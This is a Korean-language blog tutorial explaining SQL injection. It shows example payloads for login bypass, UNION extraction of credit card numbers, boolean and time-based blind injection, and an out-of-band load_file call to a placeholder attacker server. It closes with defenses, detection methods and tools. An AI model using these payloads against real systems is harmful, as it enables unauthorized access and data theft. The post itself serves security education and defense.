728x90
SQL Injection (SQLi) 이란?
SQL Injection은 웹 애플리케이션의 보안 취약점을 이용하여
개발자가 의도하지 않은 SQL 쿼리를 실행하도록 만드는 공격 기법입니다.
주로 사용자가 입력한 값이 적절히 검증(Validation)되지 않고
직접 SQL 문에 삽입되어 처리될 때 발생합니다.
공격자가 데이터베이스를 조작하여 인증 우회, 데이터 조회/변조/삭제, 서버 제어 등을 할 수 있게 됩니다.
SQL Injection의 기본 개념
SQL은 데이터베이스를 다루기 위한 질의 언어입니다.
일반적으로 다음과 같이 사용자의 입력을 바탕으로 쿼리를 생성합니다.
SELECT * FROM users WHERE username = '입력값' AND password = '입력값';
그런데 만약 입력값에 ' OR '1'='1 같은 악성 문자열을 넣으면 어떻게 될까요?
입력된 쿼리:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
'1'='1' 은 항상 참이므로,
비밀번호 검증을 무력화하고 모든 사용자에 대해 로그인 성공이 될 수 있습니다.
SQL Injection 동작 흐름
- 사용자가 입력폼(로그인, 검색창 등)에 악의적인 데이터를 입력합니다.
- 서버가 이 입력값을 검증 없이 SQL 쿼리에 삽입합니다.
- 데이터베이스는 이를 정상적인 명령어로 처리합니다.
- 결과적으로 공격자가 의도한 데이터 노출/조작이 발생합니다.
SQL Injection 공격 유형 (종류)
| 구분 | 설명 |
| 인증 우회 (Authentication Bypass) | 로그인 인증을 우회합니다. |
| 데이터 노출 (Data Extraction) | 비공개 데이터(회원정보, 카드번호 등)를 빼냅니다. |
| 데이터 수정/삭제 (Data Manipulation) | 테이블을 수정하거나 삭제합니다. |
| DB 서버 공격 (Database Takeover) | 파일 읽기/쓰기, 시스템 명령 실행까지 시도합니다. |
| Blind SQL Injection | 쿼리 결과를 볼 수 없어, 참/거짓 응답을 분석해 공격합니다. |
| Out-of-Band SQL Injection | 서버의 응답이 없을 때, 별도 채널 (DNS, HTTP 등)로 데이터를 빼냅니다. |
SQL Injection 구체적 공격 예시
1. 인증 우회
입력창에
아이디: admin' --
비밀번호: 아무거나
--은 SQL에서 주석 처리를 의미합니다. 따라서 비밀번호 조건은 무시되고 아이디만 admin으로 로그인 가능.
쿼리 변환:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '...';
2. 데이터 추출
입력창에
아이디: ' UNION SELECT card_number, 1 FROM credit_cards --
비밀번호: 아무거나
UNION 키워드를 사용해, 다른 테이블(카드정보)을 조회합니다.
쿼리 변환:
SELECT * FROM users WHERE username = '' UNION SELECT card_number, 1 FROM credit_cards --' AND password = '...';
Blind SQL Injection (블라인드 SQLi)
결과가 직접 보이지 않는 경우, 참/거짓 응답을 반복해서 분석합니다.
예시
아이디 입력창에
' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>5) --
비밀번호 길이가 5보다 크면 정상 응답, 아니면 오류 → 반복해서 길이와 내용을 추측할 수 있습니다.
또는 시간 지연을 사용하여 참/거짓을 알아낼 수도 있습니다.
' OR IF(ASCII(SUBSTRING(password,1,1))=97, SLEEP(5), 0) --
비밀번호 첫 글자의 아스키코드가 97(a)이면 5초 동안 서버가 멈춤.
Out-of-Band SQL Injection
DB 서버에서 DNS 요청 등 외부 서버로 연결해 데이터를 빼가는 기법입니다.
예시:
SELECT load_file('\\\\attacker_server\\share');
SQL Injection 취약 원인
- 사용자 입력값을 신뢰하고 검증하지 않음
- SQL 쿼리에 직접 문자열 연결 (String Concatenation)
- 적절한 권한 분리 없이 모든 쿼리를 수행
- 오류 메시지를 자세히 노출하여 정보 유출
SQL Injection 방어 방법
| 방법 | 설명 |
| Prepared Statement (Parameterized Query) | 쿼리 구조와 데이터 입력을 분리 |
| ORM 사용 | Django ORM, Hibernate 등 사용하여 쿼리 직접 작성 방지 |
| 입력값 검증 (Validation) | 입력값의 허용범위, 타입, 길이 등을 철저히 체크 |
| 최소 권한 원칙 적용 | DB 계정 권한 최소화 (SELECT만 가능 등) |
| 오류 메시지 제한 | 구체적인 DB 오류를 사용자에게 노출하지 않음 |
| WAF (Web Application Firewall) | SQLi 공격 시도를 차단 |
Prepared Statement 예시
(Java JDBC 예제)
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(query);
pstmt.setString(1, usernameInput);
pstmt.setString(2, passwordInput);
ResultSet rs = pstmt.executeQuery();
여기서 ?는 입력값이 쿼리와 독립적으로 처리되기 때문에 입력값에 악성 SQL을 넣어도 코드 자체가 변조되지 않습니다.
SQL Injection 공격 탐지 방법
- 웹 서버 로그 분석 (비정상 쿼리 문자열 확인)
- DB 쿼리 로그 모니터링 (비정상 쿼리 패턴)
- 이상 접근 감지 시스템 (IDS/IPS) 연동
- 자동화된 취약점 스캐너 사용 (ex. SQLMap, Burp Suite)
SQL Injection 대표적인 도구
| 도구 | 설명 |
| SQLMap | 오픈소스 SQL Injection 자동화 도구 |
| Burp Suite | 웹 취약점 진단 도구 (Proxy, Scanner 기능) |
| Havij | GUI 기반 SQL Injection 도구 |
728x90
'정보보호' 카테고리의 다른 글
| 사용자 인증 SFA 2FA MFA 개념 (0) | 2025.05.01 |
|---|---|
| 세션쿠키(Session Cookie)와 지속쿠키(Persistent Cookie) 개념 (0) | 2025.04.30 |
| Snooping 공격에 대한 개념 (0) | 2025.04.29 |
| XSS Cross Site Script 공격 기법에 대한 개념 및 방어 방법 (0) | 2025.04.28 |
| 드라이브 바이 다운로드(Drive-by Download) 개념 (0) | 2025.04.28 |